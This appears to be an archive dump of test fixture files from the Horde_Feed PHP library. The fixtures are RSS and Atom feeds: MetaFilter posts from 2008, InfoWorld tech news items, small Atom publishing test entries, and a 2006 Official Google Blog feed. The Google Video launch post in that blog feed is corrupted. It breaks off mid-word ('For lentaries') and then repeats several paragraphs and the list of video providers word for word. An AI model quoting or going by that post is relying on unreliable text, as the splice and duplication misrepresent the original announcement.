href="http://www.youtube.com/watch?v=XrZLVDn2SSE&feature=related">Main Street.</a> tag:metafilter.com,2008:site.73481 Mon, 21 Jul 2008 15:29:07 -0800 rollercoastertycoon rct3 videogames simulationgames The ____ of Justice Justice postponed? http://www.metafilter.com/73480/Justice-postponed Newsfilter: <a href="http://news.bbc.co.uk/1/hi/world/europe/7518543.stm">Radovan Karadžić</a> arrested today in Serbia. Trial to follow. Will <a href="http://en.wikipedia.org/wiki/Srebrenica_massacre">Srebrenica</a> and <a href="http://en.wikipedia.org/wiki/Vukovar_massacre">Vukovar</a> finally see justice? Or will <a href="http://news.bbc.co.uk/1/hi/world/europe/4797696.stm">another suicide</a> intervene? <br /> tag:metafilter.com,2008:site.73480 Mon, 21 Jul 2008 14:52:20 -0800 bosnianwar justice balkans imperium Old dangerous playground equipment. http://www.metafilter.com/73479/Old-dangerous-playground-equipment <a href="http://1000awesomethings.com/2008/07/18/980-old-dangerous-playground-equipment/">Slides used to be dangerous.....</a> <em>After climbing up those sandy, metal crosstrax steps you got to the top and stared down at that steep ride below. The slide was burning hot to the touch, a stovetop set to high all day under the summer sun, just waiting to greet the underside of your legs with first-degree burns as you enjoyed the ride</em> <br /> tag:metafilter.com,2008:site.73479 Mon, 21 Jul 2008 13:09:51 -0800 Playground equipment bluesky43 She is your Virgil on the descent into L.A. http://www.metafilter.com/73478/She-is-your-Virgil-on-the-descent-into-LA <a href="http://www.kristinslist.net/">Kristin's List.</a> There are plenty of events guides in Los Angeles, but none has as personal a voice, as finely honed an aesthetic (the <a href="http://www.houseind.com/index.php?page=showfont&id=18&subpage=nhistory">Neutra font</a> is an inspired touch) or as discerning an eye as Kristin's. Her weekly emails and web listings are one woman's recommended sampling of the most interesting music, film, architecture, food, fashion, literary and unquantifiable events across the megalopolis. And so far, it's completely ad-free. <br /> tag:metafilter.com,2008:site.73478 Mon, 21 Jul 2008 13:07:32 -0800 losangeles events guide email list kristin culture filter Scram Virtucon alone makes over 9 billion dollars a year! http://www.metafilter.com/73477/Virtucon-alone-makes-over-9-billion-dollars-a-year <a href="http://en.wikipedia.org/wiki/Emirates_Palace">Emirates Palace</a>, a <a href="http://www.emiratespalace.com/en/home/index.htm">seven-star Hotel</a> in Abu-Dhabi, is offering up the <a href="http://www.independent.co.uk/news/world/middle-east/still-not-booked-up-then-how-about-the-first-1m-holiday-872407.html">world's most expensive vacation.</a> <br /> tag:metafilter.com,2008:site.73477 Mon, 21 Jul 2008 13:07:10 -0800 abudhabi emirates ridiculous vacation sevenstar gman "The Greatest Traveler of His Time" http://www.metafilter.com/73476/The-Greatest-Traveler-of-His-Time <a href="http://www.burtonholmes.org/">Burton Holmes, Extraordinary Traveler</a>. Burton Holmes didn't invent travel stories, slide shows, moving pictures or cross-country lectures, but he put them all together and created the <a href="http://www.burtonholmes.org/travelogues/travelogues.html">travelogue</a> (a term <a href="http://www.burtonholmes.org/travelogues/nametravelogue.html">coined by his manager</a>) as performance art. The site is full of information, pictures and additional links (including companion pages about the <a href="http://www.travelhistory.org/siberia/index.html">Trans-Siberian Railroad</a>) chronicling Holmes' life and legacy. <br /> tag:metafilter.com,2008:site.73476 Mon, 21 Jul 2008 11:30:21 -0800 burtonholmes travel travelogue history photography film amyms Tunnel boring machines http://www.metafilter.com/73475/Tunnel-boring-machines <a href="http://underground.cityofember.com/2008/07/tbm-tunnel-boring-machines.html">Tunnel boring machines</a>, <a href="http://underground.cityofember.com/2008/07/underground-nuclear-test.html">underground nuclear tests</a>, and all manner of <a href="http://underground.cityofember.com/">things below the surface</a>. <br /> tag:metafilter.com,2008:site.73475 Mon, 21 Jul 2008 11:08:39 -0800 explosions machinery underground Wolfdog We are men. Men in tights! http://www.metafilter.com/73473/We-are-men-Men-in-tights <a href="http://www.german-hosiery-museum.de/mode/herrens.htm" title="Men in tights at the German Hosiery Museum">Men in tights</a> at the <a href="http://www.german-hosiery-museum.de/start.htm" title="The virtual German Hosiery Museum is a project of the German hosiery industry and an intermediate step towards the realization of the ">German Hosiery Museum</a> <br /> <a href="http://www.youtube.com/watch?v=0lUjhEHlh7s" title="Robin Hood: Men in Tights title song at YouTube"><sup>Tight</sup> tights!</a> tag:metafilter.com,2008:site.73473 Mon, 21 Jul 2008 09:50:24 -0800 Herrenstrumpfe tights hosiery museum carsonb Insta-Cake http://www.metafilter.com/73472/InstaCake <a href="http://www.dizzy-dee.com/recipe/chocolate-cake-in-5-minutes">A tasty chocolate cake you can make from scratch in five minutes.</a> In the microwave. In a mug. Other 5-minute variations include<a href="http://dook.us/~coolguy/cake/PB_cake_recipe.txt"> peanut butter chocolate cake</a> (<a href="http://dook.us/~coolguy/cake/PB_cake4.jpg">picture</a>), <a href="http://dook.us/~coolguy/cake/jello_cake_recipe.txt">jello cake</a> (<a href="http://dook.us/~coolguy/cake/jello_cake3.jpg">picture</a>), and <a href="http://dook.us/~coolguy/cake/spice_cake_recipe.txt">spice cake</a> <br /> tag:metafilter.com,2008:site.73472 Mon, 21 Jul 2008 09:15:00 -0800 cake notportal blahblahblah Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-xml.newsisfree.com-feeds-06-1806.xml0000664000175000017500000002465012653701626027151 0ustar janjan IDG InfoWorld http://www.infoworld.com/news/ Top News from InfoWorld. (By http://www.newsisfree.com/syndicate.php - FOR PERSONAL AND NON COMMERCIAL USE ONLY!) en contact@newsisfree.com Wed, 13 Aug 2008 15:31:30 +0200 http://www.newsisfree.com/sources/info/1806/ http://www.newsisfree.com/HPE/Images/button.gif Powered by NewsIsFree 88 31 Atos Origin's Olympic goal: invisibility http://www.newsisfree.com/iclick/i,301707982,1806,f/ The presence of top Olympic sponsors, especially Adidas, Coca-Cola, and McDonald's, is evident throughout Beijing. But for official systems integrator Atos Origin, success at the Beijing games will be measured by anonymity, not popularity."The gold medal for Atos is not to be visible at all," said Philippe Germond, the company's chairman and CEO, in an interview at the Technical Operations Center, the IT headquarters for the games. "If we pop up, then something happened that was n <div class='nifad'><a href="http://www.pheedo.com/click.phdo?x=f12728ffbc9f44cc94f52c398cf8cd7a&u=301707982"><img src="http://www.pheedo.com/img.phdo?x=f12728ffbc9f44cc94f52c398cf8cd7a&u=301707982" border="0"/></a></div> Gartner: India's top outsourcers moving up to bigger deals http://www.newsisfree.com/iclick/i,301703223,1806,f/ India's top outsourcing companies will likely become the next generation of "megavendors" for IT services by 2011, competing for deals worth more than $1 billion, analyst Gartner said Wednesday.Tata Consultancy Services, Infosys Technologies, and Wipro will increasingly compete with other top players such as IBM, Accenture, and EDS for those large deals, Gartner said.The top Indian outsourcers, called the India-3 by Gartner, are more frequently being invited to bid on large deals that <div class='nifad'><a href="http://www.pheedo.com/click.phdo?x=f12728ffbc9f44cc94f52c398cf8cd7a&u=301703223"><img src="http://www.pheedo.com/img.phdo?x=f12728ffbc9f44cc94f52c398cf8cd7a&u=301703223" border="0"/></a></div> Dell unveils 19-hour Latitude laptop http://www.newsisfree.com/iclick/i,301688618,1806,f/ Dell on Tuesday announced a series of Latitude laptops, including its lightest ultramobile commercial laptop yet and a larger system that the company claimed provides 19 hours of battery life.The company's Latitude E6400 runs for as much as 10 hours on a single nine-cell battery, and an additional battery that snaps on to the bottom of the laptop adds as much as nine hours of battery life, Dell officials said at a press event in San Francisco. That gives users close to a full day of laptop use w <div class='nifad'><a href="http://www.pheedo.com/click.phdo?x=f12728ffbc9f44cc94f52c398cf8cd7a&u=301688618"><img src="http://www.pheedo.com/img.phdo?x=f12728ffbc9f44cc94f52c398cf8cd7a&u=301688618" border="0"/></a></div> MSN takes the brunt of Google's U.S. search blitz http://www.newsisfree.com/iclick/i,301684659,1806,f/ Google continued to grab U.S. Internet search market share at a record pace in July, with Microsoft's MSN search engine the biggest loser over the past year and a half, according to data from Hitwise.Google accounted for 70.77 percent of all online search engine queries in the U.S. for the four weeks ending July 26, Hitwise said Tuesday. The figure is Google's 10th consecutive record high in monthly search share, and shows strong improvement over the 64.35 percent share it took in July of last y <div class='nifad'><a href="http://www.pheedo.com/click.phdo?x=f12728ffbc9f44cc94f52c398cf8cd7a&u=301684659"><img src="http://www.pheedo.com/img.phdo?x=f12728ffbc9f44cc94f52c398cf8cd7a&u=301684659" border="0"/></a></div> Yahoo's Fire Eagle takes flight for location services http://www.newsisfree.com/iclick/i,301574433,1806,f/ Yahoo on Tuesday announced general availability of Fire Eagle, which enables users to their mark their location on the Web and is being leveraged in applications such as travel and messaging systems.Featuring an API, Fire Eagle acts as an interface for managing and sharing location information. Users can authorize Web, mobile, or desktop applications to update location, and they can do it manually on the Fire Eagle Web site or mobile sites.Fire Eagle enables developers to build geo-aware applica <div class='nifad'><a href="http://www.pheedo.com/click.phdo?x=f12728ffbc9f44cc94f52c398cf8cd7a&u=301574433"><img src="http://www.pheedo.com/img.phdo?x=f12728ffbc9f44cc94f52c398cf8cd7a&u=301574433" border="0"/></a></div> Dell gets business-savvy with 'E' family laptops http://www.newsisfree.com/iclick/i,301567652,1806,f/ Tuesday Dell unveils its new take on the business notebook with its "E" family of laptops. Trying to merge consumer sex appeal with business-savvy notebook features is no easy task--but that isn't stopping Dell from making the attempt. Is the new line merely business as usual, or is it--as the press materials say--"Business Unusual?"Improved Battery Life[ InfoWorld designs the next-gen laptop that PC makers could ship in 2009. But will they?&#160;Explore our ideal thick and t <div class='nifad'><a href="http://www.pheedo.com/click.phdo?x=f12728ffbc9f44cc94f52c398cf8cd7a&u=301567652"><img src="http://www.pheedo.com/img.phdo?x=f12728ffbc9f44cc94f52c398cf8cd7a&u=301567652" border="0"/></a></div> Microsoft fixes IE, Office in big month of security updates http://www.newsisfree.com/iclick/i,301552861,1806,f/ Microsoft released patches to fix 19 critical vulnerabilities in its software Tuesday, including five flaws in its Internet Explorer browser that security experts advise IT administrators to patch immediately.The total of 11 security updates released for August is the largest round of Patch Tuesday updates Microsoft has released&#160;since last February and should give IT administrators plenty to do to secure their companies' systems. "People are going to be quite busy with this load," <div class='nifad'><a href="http://www.pheedo.com/click.phdo?x=f12728ffbc9f44cc94f52c398cf8cd7a&u=301552861"><img src="http://www.pheedo.com/img.phdo?x=f12728ffbc9f44cc94f52c398cf8cd7a&u=301552861" border="0"/></a></div> Cisco combines SMB engineering teams http://www.newsisfree.com/iclick/i,301542080,1806,f/ Cisco Systems has combined the engineering teams for all its small and medium-sized business (SMB) products, forming a single group to develop products for the Cisco and Linksys brands.The new team could swap features across the two brands, bringing Linksys ease-of-use innovations to Cisco gear and more advanced capabilities such as customization features from the parent brand down to Linksys equipment, said Andrew Sage, vice president of small business sales, worldwide channels at Cisco.[ Read <div class='nifad'><a href="http://www.pheedo.com/click.phdo?x=f12728ffbc9f44cc94f52c398cf8cd7a&u=301542080"><img src="http://www.pheedo.com/img.phdo?x=f12728ffbc9f44cc94f52c398cf8cd7a&u=301542080" border="0"/></a></div> Virtualization power savings: Virtual Iron debuts new twist http://www.newsisfree.com/iclick/i,301536093,1806,f/ Along with the other updates Virtual Iron, Inc. plans to ship at the end of this month is a feature designed to conserve electricity by moving virtual machines onto a small part of a server farm and power down the rest.The software, LivePower, is designed to monitor CPU capacity on the servers running Virtual Iron 's server virtualization software and shift virtual machines from one to another to increase the efficiency of the whole group.[ Read what Virtualization Report blogger David Marshall <div class='nifad'><a href="http://www.pheedo.com/click.phdo?x=f12728ffbc9f44cc94f52c398cf8cd7a&u=301536093"><img src="http://www.pheedo.com/img.phdo?x=f12728ffbc9f44cc94f52c398cf8cd7a&u=301536093" border="0"/></a></div> Microsoft updates Office 2004 and 2008 http://www.newsisfree.com/iclick/i,301533685,1806,f/ Microsoft's Macintosh Business Unit released updates on Tuesday for Office 2004 and Office 2008.Taking a page from Apple's most recent updates, Microsoft was stingy with details on what exactly the Office 12.1.2 update fixes. According to notes provided by the company, "this update contains several improvements to enhance stability and performance."[ Discover how easy it is to&#160;incorporate Macs into the enterprise. ]Office 2004 11.5.1 does offer a bit more information for users. Wh <div class='nifad'><a href="http://www.pheedo.com/click.phdo?x=f12728ffbc9f44cc94f52c398cf8cd7a&u=301533685"><img src="http://www.pheedo.com/img.phdo?x=f12728ffbc9f44cc94f52c398cf8cd7a&u=301533685" border="0"/></a></div> Horde_Feed-2.0.4/test/Horde/Feed/fixtures/AtomPublishingTest-before-update.xml0000664000175000017500000000045312653701626025402 0ustar janjan 1 2005-05-23T16:26:00-08:00 Entry 1 1.2 Horde_Feed-2.0.4/test/Horde/Feed/fixtures/AtomPublishingTest-created-entry.xml0000664000175000017500000000077512653701626025435 0ustar janjan 1 2005-05-23T16:26:00-08:00 Entry 1 1.1 Horde_Feed-2.0.4/test/Horde/Feed/fixtures/AtomPublishingTest-expected-update.xml0000664000175000017500000000045312653701626025741 0ustar janjan 1 2005-05-23T16:26:00-08:00 Entry 1 1.2 Horde_Feed-2.0.4/test/Horde/Feed/fixtures/AtomPublishingTest-updated-entry.xml0000664000175000017500000000122012653701626025436 0ustar janjan 1 2005-05-23T16:27:00-08:00 Entry 1 1.2 Horde_Feed-2.0.4/test/Horde/Feed/fixtures/AtomTestGoogle.xml0000664000175000017500000014224512653701626022000 0ustar janjan Official Google Blog Googler insights into product and technology news and our culture. tag:blogger.com,1999:blog-10861780 2006-01-12T19:55:20Z Blogger
      This is an Atom formatted XML site feed. It is intended to be viewed in a Newsreader or syndicated to another site. Please visit the Blogger Help for more info.
       true A Googler 2006-01-12T11:53:00-08:00 2006-01-12T19:55:20Z 2006-01-11T03:07:43Z tag:blogger.com,1999:blog-10861780.post-113694886327994245 Your Google homepage, to go
      Posted by Abhijit Kalamkar, Software Engineer

      Anyone who's ever tried to browse the web on their cell phone knows that it isn't always the best user experience. That's why I'm excited to tell you about Google Mobile Personalized Home. We've designed a way for you to view the things that you really care about, from your Gmail inbox to news headlines, weather, stock quotes, and feeds (Atom or RSS). The interface is optimized for small screens, and we've arranged things so you don't have to click on a bunch of links to locate what you're after -– your personalized content appears on top, right where it should be. Give it a try, and let us know how you like it.
       false       A Googler 2006-01-12T09:15:00-08:00 2006-01-12T17:18:46Z 2006-01-03T20:50:32Z tag:blogger.com,1999:blog-10861780.post-113632143275337066 Many Minis
      Posted by Rajen Sheth, Product Manager

      Today is the one year anniversary of the Google Mini, Google's solution for website and corporate network search, and to celebrate we thought we'd announce a few more of them. The standard Mini lets you search up to 100,000 documents. Now organizations that constantly crank out new content can opt for either of two new Minis: one searches up to 200,000 documents, and another that can manage up to 300,000. All three deliver the same easy setup, intuitive interface and fast, relevant results that the Mini is already bringing to thousands of websites and corporate networks. You're growing, and the Mini is growing with you.
       false       A Googler 2006-01-10T12:49:00-08:00 2006-01-10T21:02:47Z 2005-12-31T01:44:54Z tag:blogger.com,1999:blog-10861780.post-113599349496410640 Google Earth in a Mac world (PC too)
      Posted by Chikai Ohazama, Google Earth Team

      We feel like proud parents around here. Our eldest, Google Earth for the PC, is officially leaving beta status today, and we couldn't be more pleased. For those of you who downloaded early, upgrade to the latest and discover Google Earth all over again.

      And we have a brand new member of the family -- Google Earth for Macintosh. We're happy to finally have some good news for the, ahem, vocal Mac enthusiasts we've been hearing from. Let's just say that we have gotten more than a few "requests" for a Mac version of Google Earth. They've gone something like this:

      1) "When is it coming out? Your website says that you are working on it."

      2) "You know, Mac users are very heavy graphics/mapping/visualization/design/ architecture/education/real estate/geocaching/social-geo-video-networking fans who would certainly use Google Earth a lot."

      3) "So when is it coming out?"

      We heard you loud and clear. The Mac version runs on OS X 10.4 and up. Happy travels throughout Google Earth, whether you're on a Mac or a PC.
       false       A Googler 2006-01-09T22:16:00-08:00 2006-01-11T20:30:26Z 2005-12-31T18:25:16Z tag:blogger.com,1999:blog-10861780.post-113605351620153422 A new year for Google Video <span class="byline-author">Posted by Sanjay Raman, Google Video Team</span><br /><br />Till now, Google Video has been about watching videos and clips online, which is really convenient for videos <a href="http://video.google.com/videoplay?docid=-3496860874967925614&q=fastfocus">like this</a>. But wouldn't it be awesome to watch that episode of <span style="font-style: italic;"><a href="http://video.google.com/videosearch?q=in_label%3Atvshow%3DCSI">CSI</a></span> that you missed when even your trusty DVR failed you? This is one reason we've launched the Google Video store, where you can rent or buy from such well-known media partners as <a href="http://video.google.com/cbs.html">CBS</a>, the <a href="http://video.google.com/nba.html">NBA</a>, The <a href="http://video.google.com/videosearch?q=in_label%3Atvshow%3DCharlie_Rose">Charlie Rose Show</a>, and <a href="http://video.google.com/videosearch?q=Sony+BMG">SONY BMG</a>.<br /><br />We’re not only about mainstream content, though -– we have thousands of titles available (and more coming every day) from every imaginable type of producer, including <a href="http://video.google.com/videosearch?q=1896+tsar+nicholas&so=0">this 1896 clip</a> of the coronation of Tsar Nicholas II – one of the earliest known moving images. We’re especially pleased to offer such quality indie features as Ben Rekhi’s <span style="font-style: italic;"><a href="http://video.google.com/videoplay?docid=-1607114503824678810&q=waterborne ">Waterborne</a></span> (Drops Entertainment) and Lerone Wilson’s <span style="font-style: italic;"><a href="http://video.google.com/videoplay?docid=-4929215594503422280&q=aardvark%27d ">Aardvark’d: 12 Weeks with Geeks</a></span> (Boondoggle Films).<br /><br />When we launched our <a href="https://upload.video.google.com">Upload Program</a> earlier this year, people sent in a huge number of free and compelling videos. But since there's a ton of video that can't be offered for free, we built the <a href="http://video.google.com/">Google Video store</a> to give content owners the option to charge for downloads if they'd like. This means producers large and small can distribute their great content in an easy, secure way. Some of your favorite prime time and classic TV shows, sports, music videos, and documentaries are at your fingertips. Want to see how Shaq scored 30 points last night? Download and watch it (and every <a href="http://video.google.com/nba.html">NBA</a> game for the rest of the season) through Google Video.<br /><br />You can play all the videos you download using the all-new Google Video Player. We're especially pleased about the thumbnail navigation for browsing an entire video so you can play any portion with a single click. And there's another thing: if the content is not copy-protected, you can take your favorite videos with you on your <a href="http://www.apple.com/ipod/">iPod</a> or <a href="http://www.us.playstation.com/psp.aspx">PSP</a> -- our "to go" option.<br /><br />Since it's so early in the year, here's a resolution we intend to keep: make sure new features and content continue to roll out, so that you think Google Video is one of the best ways to find video on the web.<br /><br />These video providers are getting us off to a great start:<br /><br />• <span style="font-weight: bold;"><a href="http://video.google.com/videosearch?q=in_label%3Aowner%3Daquarius">Aquarius Health Care Media</a></span>: A leading producer and distributor of healthcare-related videos will pilot with Google Video using a variety of titles covering SIDS, diabetes, and blindness, among other health issues.<br /><br />• <span style="font-weight: bold;"><a href="http://video.google.com/videosearch?q=ardustry">Ardustry Home Entertainment</a></span>: Offers substantial libraries of theatrical motion pictures, television series, documentaries and reality programming, music and sports specials, lifestyle titles, and a wide array of “how-to” products.<br /><br />• <span style="font-weight: bold;"><a href="http://video.google.com/videosearch?q=bluehighways">BlueHighways TV</a></span>: Programming service that explores the people, stories, traditions and cultures of America. Discovering the sights and sounds of communities across the country with an up-close, laid-back programming style, BlueHighways TV presents a collage of remarkable music, folklore and information for audiences interested in all aspects of American life and heritage. Programming includes <span style="font-style: italic;">Reno's Old Time Music Festival,</span> <span style="font-style: italic;">American Journeys,</span> <span style="font-style: italic;">Stan Hitchcock's Heart to Heart,</span> and <span style="font-style: italic;">Gospel Sampler</span>.<br /><br />• <span style="font-weight: bold;"><a href="http://video.google.com/videosearch?q=in_label%3Aowner%3Dcaretalk">CareTALK</a></span>: A multimedia brand dedicated to consumer-directed health care offering programming and tools to help modern family caregivers; initially offering 10-20 hours of health and caregiving-related content (10-20 minutes in length).<br /><br />• <a style="font-weight: bold;" href="http://video.google.com/cbs.html">CBS</a>: Includes prime time hits such as <a style="font-style: italic;" href="http://video.google.com/videosearch?q=in_label%3Atvshow%3DCSI">CSI</a>, <a style="font-style: italic;" href="http://video.google.com/videosearch?q=in_label%3Atvshow%3Dncis">NCIS</a>, <a style="font-style: italic;" href="http://video.google.com/videosearch?q=in_label%3Atvshow%3DSurvivor_Guatemala">Survivor: Guatemala</a>, and The Amazing Race (available spring ’06), as well as classics like <a style="font-style: italic;" href="http://video.google.com/videosearch?q=I+Love+Lucy">I Love Lucy</a>, <a style="font-style: italic;" href="http://video.google.com/videosearch?q=in_label%3Atvshow%3DTwilight_Zone">Twilight Zone</a>, <a style="font-style: italic;" href="http://video.google.com/videosearch?q=in_label%3Atvshow%3DBrady_Bunch">Brady Bunch</a>, <a style="font-style: italic;" href="http://video.google.com/videosearch?q=Have+Gun+Will+Travel">Have Gun Will Travel</a>, <a style="font-style: italic;" href="http://video.google.com/videosearch?q=in_label%3Atvshow%3DMacGyver">MacGyver</a>, <a style="font-style: italic;" href="http://video.google.com/videosearch?q=in_label%3Atvshow%3DStar_Trek_Deep_Space_Nine">Star Trek: Deep Space Nine</a>, <a style="font-style: italic;" href="http://video.google.com/videosearch?q=in_label%3Atvshow%3DStar_Trek_Voyager">Star Trek: Voyager</a>, and My Three Sons (coming soon).<br /><br />• <a style="font-weight: bold;" href="http://video.google.com/videosearch?q=in_label%3Atvshow%3DCharlie_Rose">The Charlie Rose Show</a>: Includes interviews with Henry Kissinger, Oliver Stone, Quentin Tarantino, Martha Stewart, Martin Scorsese, Harrison Ford, Dan Rather, Charles M. Schulz, Steve Jobs, Jay Leno, Tom Brokaw, and others.<br /><br />• <a style="font-weight: bold;" href="http://video.google.com/videosearch?q=Cine+Excel&so=0">Cine Excel</a>: Independent producer will trial on Google Video with 3 DVD movie titles: <a style="font-style: italic;" href="http://video.google.com/videoplay?docid=6833548605067650376&q=Cine+Excel">Bikini Hotel </a>(1997), <a style="font-style: italic;" href="http://video.google.com/videoplay?docid=-9198267889833807992&q=Cine+Excel">Tao of Karate</a> (short-film, 1998) and <a style="font-style: italic;" href="http://video.google.com/videoplay?docid=8241854949946868864&q=Cine+Excel">Karate Wars</a> (1998).<br /><br />• <a style="font-weight: bold;" href="http://video.google.com/videosearch?q=classic+media">Classic Media</a>: Classic Media owns and manages some of the world's most recognizable family properties across all media including feature film, television, home video and consumer products. The company's extensive library features a diverse collection of popular animated and live-action characters. For lentaries are at your fingertips. Want to see how Shaq scored 30 points last night? Download and watch it (and every <a href="http://video.google.com/nba.html">NBA</a> game for the rest of the season) through Google Video.<br /><br />You can play all the videos you download using the all-new Google Video Player. We're especially pleased about the thumbnail navigation for browsing an entire video so you can play any portion with a single click. And there's another thing: if the content is not copy-protected, you can take your favorite videos with you on your <a href="http://www.apple.com/ipod/">iPod</a> or <a href="http://www.us.playstation.com/psp.aspx">PSP</a> -- our "to go" option.<br /><br />Since it's so early in the year, here's a resolution we intend to keep: make sure new features and content continue to roll out, so that you think Google Video is one of the best ways to find video on the web.<br /><br />These video providers are getting us off to a great start:<br /><br />• <span style="font-weight: bold;"><a href="http://video.google.com/videosearch?q=in_label%3Aowner%3Daquarius">Aquarius Health Care Media</a></span>: A leading producer and distributor of healthcare-related videos will pilot with Google Video using a variety of titles covering SIDS, diabetes, and blindness, among other health issues.<br /><br />• <span style="font-weight: bold;"><a href="http://video.google.com/videosearch?q=ardustry">Ardustry Home Entertainment</a></span>: Offers substantial libraries of theatrical motion pictures, television series, documentaries and reality programming, music and sports specials, lifestyle titles, and a wide array of “how-to” products.<br /><br />• <span style="font-weight: bold;"><a href="http://video.google.com/videosearch?q=bluehighways">BlueHighways TV</a></span>: Programming service that explores the people, stories, traditions and cultures of America. Discovering the sights and sounds of communities across the country with an up-close, laid-back programming style, BlueHighways TV presents a collage of remarkable music, folklore and information for audiences interested in all aspects of American life and heritage. Programming includes <span style="font-style: italic;">Reno's Old Time Music Festival,</span> <span style="font-style: italic;">American Journeys,</span> <span style="font-style: italic;">Stan Hitchcock's Heart to Heart,</span> and <span style="font-style: italic;">Gospel Sampler</span>.<br /><br />• <span style="font-weight: bold;"><a href="http://video.google.com/videosearch?q=in_label%3Aowner%3Dcaretalk">CareTALK</a></span>: A multimedia brand dedicated to consumer-directed health care offering programming and tools to help modern family caregivers; initially offering 10-20 hours of health and caregiving-related content (10-20 minutes in length).<br /><br />• <a style="font-weight: bold;" href="http://video.google.com/cbs.html">CBS</a>: Includes prime time hits such as <a style="font-style: italic;" href="http://video.google.com/videosearch?q=in_label%3Atvshow%3DCSI">CSI</a>, <a style="font-style: italic;" href="http://video.google.com/videosearch?q=in_label%3Atvshow%3Dncis">NCIS</a>, <a style="font-style: italic;" href="http://video.google.com/videosearch?q=in_label%3Atvshow%3DSurvivor_Guatemala">Survivor: Guatemala</a>, and The Amazing Race (available spring ’06), as well as classics like <a style="font-style: italic;" href="http://video.google.com/videosearch?q=I+Love+Lucy">I Love Lucy</a>, <a style="font-style: italic;" href="http://video.google.com/videosearch?q=in_label%3Atvshow%3DTwilight_Zone">Twilight Zone</a>, <a style="font-style: italic;" href="http://video.google.com/videosearch?q=in_label%3Atvshow%3DBrady_Bunch">Brady Bunch</a>, <a style="font-style: italic;" href="http://video.google.com/videosearch?q=Have+Gun+Will+Travel">Have Gun Will Travel</a>, <a style="font-style: italic;" href="http://video.google.com/videosearch?q=in_label%3Atvshow%3DMacGyver">MacGyver</a>, <a style="font-style: italic;" href="http://video.google.com/videosearch?q=in_label%3Atvshow%3DStar_Trek_Deep_Space_Nine">Star Trek: Deep Space Nine</a>, <a style="font-style: italic;" href="http://video.google.com/videosearch?q=in_label%3Atvshow%3DStar_Trek_Voyager">Star Trek: Voyager</a>, and My Three Sons (coming soon).<br /><br />• <a style="font-weight: bold;" href="http://video.google.com/videosearch?q=in_label%3Atvshow%3DCharlie_Rose">The Charlie Rose Show</a>: Includes interviews with Henry Kissinger, Oliver Stone, Quentin Tarantino, Martha Stewart, Martin Scorsese, Harrison Ford, Dan Rather, Charles M. Schulz, Steve Jobs, Jay Leno, Tom Brokaw, and others.<br /><br />• <a style="font-weight: bold;" href="http://video.google.com/videosearch?q=Cine+Excel&so=0">Cine Excel</a>: Independent producer will trial on Google Video with 3 DVD movie titles: <a style="font-style: italic;" href="http://video.google.com/videoplay?docid=6833548605067650376&q=Cine+Excel">Bikini Hotel </a>(1997), <a style="font-style: italic;" href="http://video.google.com/videoplay?docid=-9198267889833807992&q=Cine+Excel">Tao of Karate</a> (short-film, 1998) and <a style="font-style: italic;" href="http://video.google.com/videoplay?docid=8241854949946868864&q=Cine+Excel">Karate Wars</a> (1998).<br /><br />• <a style="font-weight: bold;" href="http://video.google.com/videosearch?q=classic+media">Classic Media</a>: Classic Media owns and manages some of the world's most recognizable family properties across all media including feature film, television, home video and consumer products. The company's extensive library features a diverse collection of popular animated and live-action characters. For launch we will have <a style="font-style: italic;" href="http://video.google.com/videoplay?docid=2700527067868455741&q=classic+media">Rocky &amp; Bullwinkle</a>, <span style="font-style: italic;">Casper</span>, <span style="font-style: italic;">Wendy</span>, <span style="font-style: italic;">Richie Rich</span>, <span style="font-style: italic;">Herman & Katnip</span>, <span style="font-style: italic;">Baby Huey</span>, <span style="font-style: italic;">Little Audrey</span>, <a style="font-style: italic;" href="http://video.google.com/videoplay?docid=-3466783103686653836&q=Mighty+Hercules">Mighty Hercules</a>, <span style="font-style: italic;">Little Lulu</span>, and <span style="font-style: italic;">Felix the Cat</span>.<br /><br />• <a style="font-weight: bold;" href="http://video.google.com/videosearch?q=clearvue">CLEARVUE & SVE</a>: A leading provider of educational K-12 educational video content. They sell DVDs and run a subscription media-on-demand website with video, audio, and images. CLEARVUE &amp; SVE primarily serves large clients such as schools, school districts or entire states. Leveraging Google Video, they have embarked on a new and bold strategy to target individual customers directly. Among the hundreds of videos you will find on Google, topics vary from classic children's literature to detailed explanations about the workings of the human body.<br /><br />• <span style="font-weight: bold;"><a href="http://video.google.com/videosearch?q=in_label%3Aowner%3Dechelon">Echelon Home Entertainment 2</a></span>: Focuses on independently produced films made by filmmakers from around the world which offer a unique perspective to the traditional genres: drama, action, thriller, comedy, family, animation, classic, B&W, foreign.<br /><br />• <span style="font-weight: bold;"><a href="http://video.google.com/videosearch?q=in_label%3Aowner%3Dimage_entertainment">Egami Media</a></span>: A subsidiary of Image Entertainment and a leading independent licensee, producer and distributor of home entertainment programming with over 3,000 titles released in North America. Highlighted content in Google Video includes live concert programs include <span style="font-style: italic;">Kiss: Rock the Nation: Live!</span>, <span style="font-style: italic;">Chick Corea: Rendezvous in New York</span>, <span style="font-style: italic;">Roy Orbison: Black & White Night</span>, and dozens more. Other titles include IMAX programs from MacGillivray Freeman, stand-up comedy and independent, foreign and silent film classics.<br /><br />• <a style="font-weight: bold;" href="http://video.google.com/videosearch?q=in_label%3Aowner%3Dfashion_tv">Fashion TV</a>: The only 24 hours a day, 7 days a week fashion, beauty and style TV station worldwide provides glamorous entertainment with emphasis on the latest trends. Google Video content includes fashion show clips and behind the scenes footage from many fashion shows.<br /><br />• <a style="font-weight: bold;" href="http://video.google.com/videosearch?q=in_label%3Aowner%3Dgetty_images">Getty Images' Archive Films Collection</a>: A diverse collection of short clips that capture personalities, moments and eras throughout history -- selected from vintage newsreels and educational film, as well as contemporary news and events from around the world.<br /><br />• <a style="font-weight: bold;" href="http://video.google.com/videosearch?q=in_label%3Aowner%3Dgreencine">GreenCine.com</a>: Feature length independent films, documentaries and classic titles, including works by legendary Polish director Andrzej Wajda (<span style="font-style: italic;">Zemsta</span>) and award-winning actor-director Caveh Zahedi (<span style="font-style: italic;">In the Bathtub of the World</span>).<br /><br />• <a style="font-weight: bold;" href="http://video.google.com/videosearch?q=HDNet&so=0">HDNet</a>: Co-founded by Mark Cuban, HDNet has agreed to make select original programming from its library available for the launch of Google's first commercial video offering. The programs to be made available come from HDNet's ever growing library of original content including the <span style="font-style: italic;">HDNet World Report</span>, a groundbreaking series featuring news in HD from around the globe; <span style="font-style: italic;">True Music</span>, a popular weekly music series highlighting up-and-coming bands; <span style="font-style: italic;">Higher Definition</span>, a celebrity interview series hosted by Robert Wilonsky; <span style="font-style: italic;">Young, Beautiful and Trying to Make it in Hollywood</span>, following actresses through the hectic process of getting hired in Hollywood; and <span 